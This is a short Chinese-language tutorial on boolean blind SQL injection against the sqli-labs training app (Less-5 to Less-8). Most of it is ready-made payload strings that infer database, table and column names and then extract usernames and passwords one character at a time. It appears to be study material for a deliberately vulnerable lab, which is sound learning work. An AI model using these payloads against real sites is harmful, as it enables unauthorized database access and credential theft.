在sqli-labss的Less-5至Less-8中,页面不会回显数据库信息,如果语句正确会显示You are in……,语句错误则会报错。这种显示(真)/不显示(假)的状态符合布尔盲注的条件,可以用盲注的思路解决。 整体上布尔盲注依然遵循数据库-表-字段的顺序,但在具体环节通常分为三个阶段:猜长度-猜字符-换位置。因为页面不会直接回显信息,所以要通过页面状态来确定猜测是否正确。 常用到如下sql函数
?id=1' and length(database())>8--+ 数据库长度 ?id=1'and ascii(substr(database(),1,1))>115--+ 数据库名 ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1 ))>100 --+ 表格名,懒得再求表格名长度了,直接控制偏移量试过去 ?id=1'and ascii(substr((select column_name from information_schema.columns where table_name ='users' limit 0,1),1,1))>100--+ 字段名 ?id=1' and ascii(substr((select group_concat(id,username,password) from users),1,1))>50 --+ 具体信息
group_concat
1 2 3 4 5 6 7 8 9 10 11 12
?id=1'and length((select database()))>8--+ 数据库长度 ?id=1'and ascii(substr(database(),1,1))>115--+ 数据库名 ?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema = 'security'))>13 --+ ?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = database()),1,1))>100--+ 表格名 ?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name = 'users'))>10 --+ ?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name ='users'),1,1))>100--+ 字段名 ?id=1' and ascii(substr((select group_concat(id,username,password) from users),1,1))>50 --+ 具体信息